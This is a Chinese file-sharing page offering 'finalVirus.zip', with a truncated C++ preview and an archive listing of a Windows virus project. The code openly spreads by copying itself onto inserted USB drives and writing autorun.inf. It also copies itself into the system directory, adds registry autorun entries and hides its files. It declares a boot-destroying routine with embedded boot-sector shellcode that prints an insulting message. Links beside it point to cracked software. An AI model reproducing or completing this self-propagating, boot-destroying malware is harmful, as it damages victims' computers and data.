资源简介
finalVirus.zip
代码片段和文件信息
#include “stdafx.h“
#include
#include
#include
#include
#include
#include
#include
#pragma comment (lib“Advapi32.lib“)
#pragma comment(lib“shlwapi.lib“)
#pragma comment(lib“ComCtl32.lib“)
#pragma comment(lib“user32.lib“)
using namespace std;
#define TIMER 1//计时器
//function
BOOL GetTime();//获取当前时间
BOOL KillSystem();//破坏引导
string sys_time;
LRESULT CALLBACK WndProc(HWND UINT WPARAM LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus‘s path
//BOOL FindU(TCHAR *u);//check whether u exist u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus‘s path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName=“bbbbb.exe“;
const TCHAR *szSysName=“aaaaa.exe“;
const TCHAR *szAutoRunFile=“AutoRun.inf“;
unsigned char scode[] =
“\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c“
“\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72“
“\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29“;
/************************************************************/
int WINAPI WinMain
(
HINSTANCE hInstance
HINSTANCE hPrevInstance
PSTR szCmdLine
//LPSTR lpCmdLine
int iCmdShow
)
{
static TCHAR szAppName[]=TEXT (“UUUUUU“);
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULLTEXT(“Program requires Windows NT!“)
szAppName MB_IConerror);
return 0;
}
hwnd = CreateWindow (szAppName NULL
WS_DISABLED
0 0
0 0
NULL NULL hInstance NULL);
while (GetMessage(&msg NULL 0 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}
/********************************************************/
LRESULT OnDeviceChange(HWND hwndWPARAM wParam LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盘盘符
//MessageBox(0U“Notice!“MB_OK);
CopyToUAndSet();//拷到u盘
}
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
break;
}
return LRESULT();
}
LRESU
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2018-12-17 14:42 ConsoleApplication5\
目录 0 2018-12-15 21:01 ConsoleApplication5\ConsoleApplication5\
文件 8537 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.cpp
文件 4693 2018-12-17 09:09 ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.vcxproj
文件 1323 2018-12-13 18:46 ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.vcxproj.filters
文件 164 2018-12-13 20:32 ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.vcxproj.user
目录 0 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\
文件 31920 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\CL.read.1.tlog
文件 1302 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\CL.write.1.tlog
文件 2513 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\ConsoleApplication5.Build.CppClean.log
文件 84 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\ConsoleApplication5.lastbuildstate
文件 2045 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\ConsoleApplication5.log
文件 463153 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\ConsoleApplication5.obj
文件 1310720 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\ConsoleApplication5.pch
文件 1686 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\cl.command.1.tlog
文件 2 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\li
文件 2 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\li
文件 2 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\li
文件 2 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\li
文件 2 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\li
文件 2 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\li
文件 1568 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\li
文件 2768 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\li
文件 876 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\li
文件 11553 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\stdafx.obj
文件 740352 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\vc110.idb
文件 487424 2018-12-17 14:42 ConsoleApplication5\ConsoleApplication5\Debug\vc110.pdb
文件 1594 2018-12-13 18:46 ConsoleApplication5\ConsoleApplication5\ReadMe.txt
文件 224 2018-12-13 18:46 ConsoleApplication5\ConsoleApplication5\stdafx.cpp
文件 233 2018-12-13 18:46 ConsoleApplication5\ConsoleApplication5\stdafx.h
文件 236 2018-12-13 18:46 ConsoleApplication5\ConsoleApplication5\targetver.h
............此处省略12个文件信息
- 上一篇:基于单片机盲人电子助理设计
- 下一篇:数据库系统第六版教材课后题答案完整版
相关资源
- railways.rar
- AmazingBean.zip
- 射频电路设计.zip
- 《Koa与Node.js开发实战》_iKcamp.pdf
- ssh-patient.rar
- B-Fighter10-2.8.zip
- 精通WindowsPowerShell脚本编程+WindowsPow
- LearningOpenCV中文版-于仕琪书源码.zip
- iKuai-H1ap.bin
- mathpix_snipping_tool_setup.exe
- six公式超级计算分析师.exe
- Xshell6-破解版.zip
- anyconnect-win-4.6.03049-predeploy-k9.zip
- JJQQKK-2.6.7.msi
- 迅捷pdf编辑器破解版(2).rar
- 迅捷PDF编辑含注册码.zip
- JungoWinDriver10.21win32win64withcrack.rar
- sog.rar
- 深入浅出强化学习:原理入门.epub
- 9-6trirotate.rar
- ShoppingCarBestImplementation.zip
- AlarmAlert_csdn.zip
- 唐会时时彩源码.rar
- 电科科大网教学习平台秒挂课程2019版
- IOS最新版Shadowrocket.rar
- 汉和娱乐城.zip
- 富贵3搭建教程.rar
- GG代码转XS内存工具.zip
- 新建文件夹(3)(1).zip
- CiscoanyConnect4.6.zip
评论
共有 条评论